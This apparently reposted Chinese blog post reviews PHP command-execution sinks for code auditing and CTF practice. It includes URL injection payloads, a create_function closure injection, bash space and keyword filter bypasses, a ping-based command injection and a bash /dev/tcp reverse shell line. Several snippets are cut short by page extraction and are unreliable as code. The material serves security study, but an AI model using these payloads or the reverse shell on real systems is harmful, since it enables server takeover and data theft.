本文共 8597 字,大约阅读时间需要 28 分钟。
最近几天简单复习了代码审计中的命令执行,这篇为自我复现时的一些总结
例:
例:
";eval('system("whoami");');echo "";eval('phpinfo();');?>
(1)普通调用:
利用:http://x.x.x.x/xx.php?peak=phpinfo();http://x.x.x.x/xx.php?peak=system('whoami');
(2)动态调用:php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用
利用同上
例:
定义:create_function (string $args,string $code)
$args 变量部分$code 方法代码部分这个匿名函数类似于function xx($args){ $code;}xx($args);
注:create_function函数第二个参数只能使用双引号或不使用任何符号,仅变量;第一个参数可使用单双引号,也可以为空,但不能不使用符号;另外,第一个参数使用双引号时,第二个参数不可有双引号
例,一个可以命令执行的代码
$func=create_function('$a',"echo $a");$func($a);#上面的匿名函数类似于下面这几行代码:function xx($a){ //创建一个函数xxecho $a; //需要代码块}xx($a); //执行函数#因为create_function函数的第二个参数是执行代码的#所以,pyload如下$a='phpinfo();';$func=create_function('$a',"echo $a");$func($a);
对比图:
第二幅图,浏览器展示:
一道CTF题目";echo "==============================";echo "";$f1 = create_function('$a',$str2);echo "";echo "==============================";?>(1)遇到此类题目,可以将create_function函数以下方的形式进行构造payload:function xx($a){ $str2;}(2)整体代码就类似于:$id=$_GET['id'];$str2='echo '.$a.'test'.$id.";";echo $str2;echo "";echo "==============================";echo "";function xx($a){ echo .$a.'test'.$id.";";}echo "";echo "==============================";?>(3)构造payload,进行拼接:?id=2;}phpinfo();/*#因为$=id=2;}phpinfo();/*#所以$str2=echo test2;}phpinfo();/*最后构造的函数如下:function xx($a){ echo test2;}phpinfo();/*;}?>闭合function函数,执行phpinfo();
像?id=2;}eval(system('whoami'));/*可以执行,并且system()后面可以不用分号,用分号反而报错;但是,一句话木马,url利用时?peak=system('whoami');,后面必须要分号,为啥呢?我们此时只需要记住,只要是源代码中现写或本来就存在的system语句,eval利用时不需要分号。例如eval(system('whoami'));反正只要使用GET、POST、REQUEST传参,使用变量利用时需要就需要分号
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组
$a = $_GET['a'];$b = $_GET['b'];$array[0] = $b;$c = array_map($a,$array);//payload:?a=assert&b=system('whoami'); //分号可有可无
拼接详解
#payload:?a=assert&b=system('whoami');$a = $_GET['a'];//$a=assert$b = $_GET['b'];//$b=system('whoami');$array[0] = $b;//$array数组的第一个键的值为system('whoami');$c = array_map($a,$array);//$c=array_map(assert,$array)//因为array_map函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组,所以,array_map函数将assert函数作用到$array数组中的每个值上,又因为system('whoami');在$array数组中,所以,可以理解为使用assert函数执行$array数组的值并返回结果,这里也就是使用assert函数执行system('whoami');
效果如图:
1、call_user_func()
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。
function xx($a){ echo $a;}$b=call_user_func ('xx','test');echo $b;call_user_func相当于执行参数1的函数,也就是这里的xx,参数2是参数1函数的参数,也就是这里的$a注,call_user_func函数的参数不加单双引号会报错,但依旧输出结果,可以@不输出报错也可以使用系统函数
//payload:?peak=system('whoami'); //最后的分号可有可无
例:
2、call_user_func_array()call_user_func_array ( callable $callback , array $param_arr ) : mixed把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入(第二个参数需传入键值),和call_user_func()使用方法类似
也可使用系统函数
//payoad:?peak=system('whoami');
例:
学习这个先要知道&除了是逻辑运算符,还是一个位运算符
例:3&1,就是3和1分别进行二进制的与运算,最后返回的值再转换为10进制 只有当2个数对应的位都为1,该位运算结果为1,否则运算结果为0。即:1&1=1;1&0=0;0&0=0array_filter (array $array [,callable $callback [,int $flag=0]]):arrayarray要循环的数组callback使用的回调函数如果没有提供 callback 函数, 将删除 array 中所有等值为 FALSE 的条目。更多信息见转换为布尔值。flag决定callback接收的参数形式:ARRAY_FILTER_USE_KEY - callback接受键名作为的唯一参数ARRAY_FILTER_USE_BOTH - callback同时接受键名和键值
array_filter() 函数用回调函数过滤数组中的元素。
该函数把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变。 在线进制转换:/*a的二进制:011000011的二进制:00000001进行与运算的二进制结果:00000001二进制转10进制结果:1所以a&1为1,综上,b&1为0,2&1为0,3&1为1,4&1为0但是他最后输出的却是:Array ( [3] => 3 )由此可见,大致推断出,php使用&符号进行与运算时,只要有非数字字符串参加,其运算的结果都为0*/
示例:
漏洞示例:
$array[0] = $_GET['a'];array_filter($array,'assert');//将数组中的每个键值传给回调函数(回调函数就是一种说法,不用管他),也就是assert//如果回调函数返回true,这里也就是如果assert成功执行,返回true,则把成功的结果返回//true的原数组的值重新返还到原数组的对应键名下(这边也就是第0位)//payload:?a=system('whoami'); //分号可有可无
payload示例:
(1)定义:usort() 使用用户自定义的比较函数对数组进行排序(2)语法:usort(array,myfunction);参数 描述array 必需。规定要排序的数组。myfunction 可选。一个定义了可调用比较函数的字符串。如果第一个参数 <, =, > 第二个参数,相应地比较函数必须返回一个 <, =, > 0 的整数。
这里你就理解为array的值使用myfunction参数执行
漏洞举例://payload:id[]=phpinfo()&id[]=xxx//注:使用该payload需要php版本大于等于7.0.12
$GET在php5.6中引入了新特性。即可以将数组展开成参数的形式,这是什么意思呢?就是在调用函数的时候,使用…运算符, 将数组和可遍历对象展开为函数参数,在usort中,理解为白话的意思就是,可将传入的array数组,变为myfunction函数的参数。
官方文档可参考: 漏洞举例://payload:?1[]=22&1[]=phpinfo();&2=assert//注;使用该payload,需要php版本为5.6.27//7.0.12版本payload需要稍作修改:?1[]=phpinfo();&1[]=xx&2=assert//7.0.12版本往上不可用这些payload
那php5.6.27版本以下的怎么用usort,进行命令执行呢?
highlight_file(__FILE__);usort($_GET,'assert');//payload:?1=1&2=phpinfo();//注:这里仅限php5.4.45版本注:uasort()用法和usort用法相同,只需要将函数名修改一下即可
介绍
:执行外部程序,并且显示输出
说明
system( string $command[, int &$return_var] ) : string
同 C 版本的 system() 函数一样,本函数执行 command 参数所指定的命令,并且输出执行结果。
如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存。 该函数执行后,直接在终端窗口打印命令执行的结果 如果要获取一个命令未经任何处理的原始输出,请使用 passthru() 函数。参数
command 要执行的命令。 return_var 如果提供 return_var 参数,则外部命令执行后的返回状态将会被设置到此变量中。返回值
成功则返回命令输出的最后一行,失败则返回 FALSE例
:';system('whoami');?>
介绍
:执行外部程序并且显示原始输出
说明
passthru( string $command[, int &$return_var] ) : void
同 exec() 函数类似, passthru() 函数也是用来执行外部命令(command)的。当所执行的 Unix 命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代 exec() 或 system() 函数。常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。通过设置 Content-type 为 image/gif,然后调用 pbmplus 程序输出 gif 文件,就可以从 PHP 脚本中直接输出图像到浏览器。
参数
command 要执行的命令。 return_var 如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。返回值
没有返回值。例
:';passthru('whoami');?>
介绍
:执行一个外部程序说明
exec( string $command[, array &$output[, int &$return_var]] ) : stringexec() 执行 command 参数所指定的命令。
参数
command 要执行的命令。 output 如果提供了 output 参数,那么会用命令执行的输出填充此数组,每行输出填充数组中的一个元素。数组中的数据不包含行尾的空白字符,例如 \n 字符。请注意,如果数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加,请在传入 exec() 函数之前对数组使用 unset() 函数进行重置。 return_var 如果同时提供 output 和 return_var 参数,命令执行后的返回状态会被写入到此变量。返回值
命令执行结果的最后一行内容。如果你需要获取未经处理的全部输出数据,请使用 passthru() 函数。 如果想要获取命令的输出内容,请确保使用 output 参数。总结
:执行系统命令,但它并不会自己输出,需要配合echo/print例:';echo exec('ipconfig').'';exec('ipconfig',$out);var_dump($out);?>
介绍
:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。说明
shell_exec( string $cmd) : string本函数同 执行操作符。
参数
cmd 要执行的命令。返回值
命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。Note
当进程执行过程中发生错误,或者进程不产生输出的情况下,都会返回 NULL,所以,使用本函数无法通过返回值检测进程是否成功执行。如果需要检查进程执行的退出码,请使用 exec() 函数。';echo shell_exec('ipconfig');?>
与shell_exec函数的功能相同。
shell_exec其实是它的变体,使用方法和shell_exec一样,例:';echo `whoami`.'';echo `ipconfig`;?>
函数格式:ob_start(void)
说明:当缓冲区激活时,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区。为了输出缓冲区的内容,可以使用ob_end_flush()或flush()输出缓冲区的内容。php代码使用ob_start,就会打开缓冲区,echo后面的字符不会输出到浏览器,而是保留在服务器,直到你使用flush或者ob_end_flush才会输出到浏览器
';ob_start("system");echo "ipconfig";//注1:该函数只会返回最后一行数据//注2:只能使用一次echo语句,使用两个会无法输出//注3:php版本需要小于等于5.6.27ob_end_flush();?>
注:这里的1.txt内容为12.txt内容为2shell.php内容为
在bash中,可以使用以下字符代替空格<${ IFS}$IFS$9%09
例:
cat
%09是在url中利用
例:假设目标存在一句话,但过滤了空格 一句话:<?php @eval($_REQUEST[peak]);?>
payload:http://x.x.x.x/xx.php?peak=system('cat%09/flag.txt');
%00
%20#(1);
在shell中,分号表示连续执行命令 例:cat 1.txt;cat 2.txt(2)& 在Linux中,命令之后加上&,表示该命令以后台方式执行。其中[1]表示后台任务的标识,后面的数字表明后台执行的任务的PID,所以第一个命令在shell中以后台方式运行 例:
cat 1.txt&cat 2.txt(3)&& 前面的命令执行成功了,再执行后面的;前面的不成功,不执行后面的 例:
cat 1.txt&&cat 2.txtcat 3.txt&&cat 2.txtcat 2.txt&&cat 3.txt
(4)|
管道符左边命令的输出作为管道符右边命令的输入,因此左边的命令不显示,右边的显示 例:cat 1.txt|cat 2.txt(5)|| 前面一个命令执行失败,再执行后面;前面成功,不执行后面 例:
cat 1.txt||cat 3.txtcat 3.txt||cat 2.txtcat 1.txt||cat 2.txt(6)%0a/%0d 只执行%0a/%0d后面的命令 例:
cat 1.txt%0acat 2.txtcat 1.txt%0dcat 2.txt
(1)变量绕过
payload:http://x.x.x.x/shell.php?peak=system('a=ca;b=t;$a$b%09/flag.txt');(2)base64编码绕过
payload:先在linux中base64编码:echo 'cat' | base64输出结果为:Y2F0Cg==echo "Y2F0Cg==" | base64 -d输出的结果为:cat
再解码利用(这里输出的cat作为):http://192.168.100.141/shell.php?peak=system('`echo "Y2F0Cg==" | base64 -d`%09/flag.txt');(3)命令后面可以添加未定义的初始化变量执行命令(未定义的初始化变量就是
$xx
,$
后面随意值) 例: cat$xx 1.txtcat$peak 1.txt(4)连接符’’ 例:
cat 1.t'x't(5)将一个命令结果导入到文件中 例:
示例1:1>1或a>1 ##创建文件名为1的空文件ls>1 ##把ls的内容导入1文件中 ##cat 1可以看到ls的内容,里面的内容默认追加\n示例2:cat 2.txt>22;cat 22 //这样也可以看到2.txt的内容(6)网络地址转化为数字地址
转换网址:
例:127.0.0.1转换为2130706433
(1)使用延时函数
例:ls|sleep 5
(2)使用http进行进行连接
nc -l -p 9999 -vvv
bash -i >& /dev/tcp/192.168.208.146/9999 0>&1
目标www目录下有一个peak.php和flag.txt,假设flag.txt无法直接访问
", "0.0", $ip);shell_exec("ping".$ip);?>(1)绕过方法1:使用cp命令将flag.txt复制重命名为22.txt,然后访问22.txt
payload:http://192.168.208.153/peak.php?ping=127.0.0.1;cp flag.txt 22.txt
可以参考:
参考其他:
转载地址:http://ypwrn.baihongyu.com/